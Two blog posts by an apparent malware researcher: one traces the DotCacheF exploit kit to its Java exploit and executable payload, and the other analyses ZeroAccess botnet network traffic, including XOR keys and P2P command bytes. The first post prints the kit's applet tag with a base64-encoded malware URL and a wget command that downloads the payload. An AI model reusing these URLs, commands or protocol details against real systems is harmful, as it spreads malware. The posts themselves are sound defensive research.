Thursday, August 22, 2013

DotCacheF - a short story

Just a brief wrap-up of my strange encounter with a cute little exploit kit called DotCacheF today. As far as I have understood the name comes from the "early days" when the EK was discovered and it had a URL structure: "*/.cache/?f*". Fair enough, but please ping me the next time someone have a chance to name a new exploit kit. I would have called it meanBalrogFoo EK or maybe even better BiggusDi*kus EK,(youtube distraction) But then again I'm a Monty Python fan.

Well enough about my bad ideas for naming EK's and lets have a look at what happened today.

Once again pinged by Malware Must Die on the hunt for a Java 0-Day.

 That would have been cool to get my hands on, I thought.  One problem though the only clue to the puzzle was a urlquery report. And not just a report a very short report. Have a look here  Hmm just a HTTP 204 response.

Having never looked in detail, myself, at the BiggusDickus, ehm DotCacheF, EK before I had to look into what this was all about. Had a brief chat with @secluded_memory, looked at @malwaresigs and checked out the write-up over at
Everywhere the EK stopped by a URL looking something like "hxxp://". And in my tiny brain I thought that must be a Gate(another youtube distraction) we have to pass through to be able to get to the valuables hidden inside the EK. So could it be possible to brute force this gate? Would a random hit do it? A couple of urlquery reports later: NOTHING. Since it was a work day, back to work.

Then came another tweet

Aaahh - more info to the rescue. So we got the applet tag and the applet/class files too. Strange -  thought the quest was for a JAR. But OK lets see if we can get the payload anyway:

2013-08-25: Be aware the kit is still alive!!!

Applet tag from the EK:

<?xml version="1.0" encoding="UTF-8"?>
<jnlp spec="1.0" xmlns:jfx="" href="app.jnlp">
    <title>Applet Test JNLP</title>
    <j2se version="1.7+" href=""/>
    <jar href="hxxp: //" main="true"/>
  <applet-desc name="atom" main-class="Auto" width="1" height="1">
    <param name="__applet_ssv_validated" value="true"/>
    <param name="url" value="aHR0cDovL3d3dy5lZXNjb25zdWx0aW5nLm5ldC9mYmMvc2l0ZXMvZGVmYXVsdC9maWxlcy9zdHlsZXMvMGJkZmNjZGE4Zi9lZjdmZDgzOWYxLz9mPXNtX21haW4ubXAzJms9NjMx
  <update check="background"/>

Sweet we got the JAR URL and we got a couple of parameters. One parameter which looked to be especially interesting. With the characteristics of base64 encoding.

param url encoded:

hxxp: //

Lets fetch it the malware:
wget "hxxp: //" --user-agent="Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0 Java/1.6.0_21" -v a getlog -O za.exe
--2013-08-22 --  hxxp: //
Connecting to||:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 279040 (272K) [audio/mpeg]
Saving to: `za.exe'

100%[===================================================================================>] 279,040     57.7K/s   in 4.7s    

2013-08-22 (57.7 KB/s) - `za.exe' saved [279040/279040]

Nice. The case was solved.

Fetching the JAR with "fully patched" Java:

--2013-08-22 --  hxxp: //
Connecting to||:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10304 (10K) [application/x-java-archive]
Saving to: `7u25.jar'

     0K ..........                                            100% 42.4K=0.2s

2013-08-22  (42.4 KB/s) - `7u25.jar' saved [10304/10304]

Just throws back the same JAR file with the vulnerability to exploit pre 7u17. So the EK is not equipped wtih the newest Java exploits then I guess.

Pretty straight forward EK to deal with. No evil gates. No obfuscation of the exe files.

Vitustotal for the EXE
Virustotal for the JAR

Happy getting exploits and malware out of the DotCacheF EK

Update 2013-08-23
Looks like @malwageddon have an analysis of DotCacheF posted on his blog

Tuesday, August 13, 2013

ZeroAccess network traffic analysis Reloaded

It's been 6 months since the last time I really sat down and looked into the network mysteries of ZeroAccess, described in my post ZeroAccess analysis part I - Network traffic.

I have seen several reports of changes to the binaries. Like this one from @MalwareMustDie and @hFireFOX
and also a couple of reports regarding the initial connect IP addresses (Commented on my blog and also by @unixfreaxjp

In the mean time the now infamous ZeroaAccess botnet have got lots of press coverage, especially for its bitcoin mining functionality, and seem to be as big if not bigger than ever. Reports vary in number, as always, but a fair guess is probably close to 10 million bots these days. The ZA botnet comes in two variants. One for bitcoin mining and one for click fraud.
So lets see if the betwork traffic from these bots have changed much or not:

1. The bot wants to know where in the world it's installed

This is done by a geoIP lookup towards the maxmind geoIP database. DNS lookup and HTTP query for lookup expected.

 Thats excactly the first thing that happens.  The geoIP lookup contains country code, city, metro code and so on, but I guess that only country code is used.

2. Install and report

The bot is then expected to install itself and report back. Last time it reported back to this time it has switched to

The udp payload is port 53, but not DNS. Lets have a closer look: 


Looks like ZA have done little to further obfuscate the install traffic, but lets xor it it with the key, which is "LONG" and bit rotate for every iteration:

Byte 0-3: should be bot id
Byte 8-9: country code - in this case NO 
Byte 10: 61 OS version

The early conclusion was correct. Still reporting the same info at install time using the same XOR key and scheme.

3. Flashplayer install

For some reason the bot goes on to update the flashplayer

This is where the update ends on my virtual system. Not perfect...

4. Start to find alive supernodes

The bot want to get fully operational and starts looking for live Supernodes. The initial IP's are probably hardcoded. Some of them are actually the same as six mionths earlier. UDP to port 16464 is still the method used by the bot. The first hit on a supernode on udp port 16464 automatically shifts the communication to TCP on the same port. 

This should be requests to get P2P lists. Lets look inside:

UDP payload: 463fdb8b28948dabc9c0d199f08c0f06

We recognize this from earlier analysis as byte 4-7  (28948dab) wil be Lteg when XORed with the correct key(ftp2) and bitwise rotated left. No change here either.
The TCP traffic is the same as well. Update plugins:

cb:00:00:80:09:b5:28:3f:00:5c:00:00 -> get file 800000cb
01:00:00:00:3b:cd:03:3f:90:03:00:00 -> get file 00000001
00:00:00:80:9e:e2:0c:3f:00:2e:00:00 -> get file 80000000

The requests have not changed at all!

The answer is encrypted plugins.

5. Continue the search for P2P lists

The getL command should be answered with a retL command:


Decrypted payload:

As before:

0e 02 fe ff -> and so on...

No changes to the P2P communication either.

6. Final callback to tell the world it's alive

To register it self and letting the bot herder know the bor is ready it fakes ntp traffic

7. Conclusion

Even if the ZA binary and the obfuscation/camuflague of the malware binary and downloads do keep on changing it seems like the communication and the botnet main features stay the same.
No changes has really occured in the past 6 months. This is good for us, the good guys, trying to protect networks and clients as it is an easy task to detect ZA activity on a network. The installation, P2P traffic and call home traffic are all covered in my previous posts on ZA. 

This means we can move on to new analysis again and just relax and know that we do catch ZA on our networks.

Thanks to @MalwareMustDie for providing the sample for research.

Happy relaxing :)

Post publish refernces:
Symantect  - ZeroAccess Modifies Peer-to-Peer Protocol for Resiliency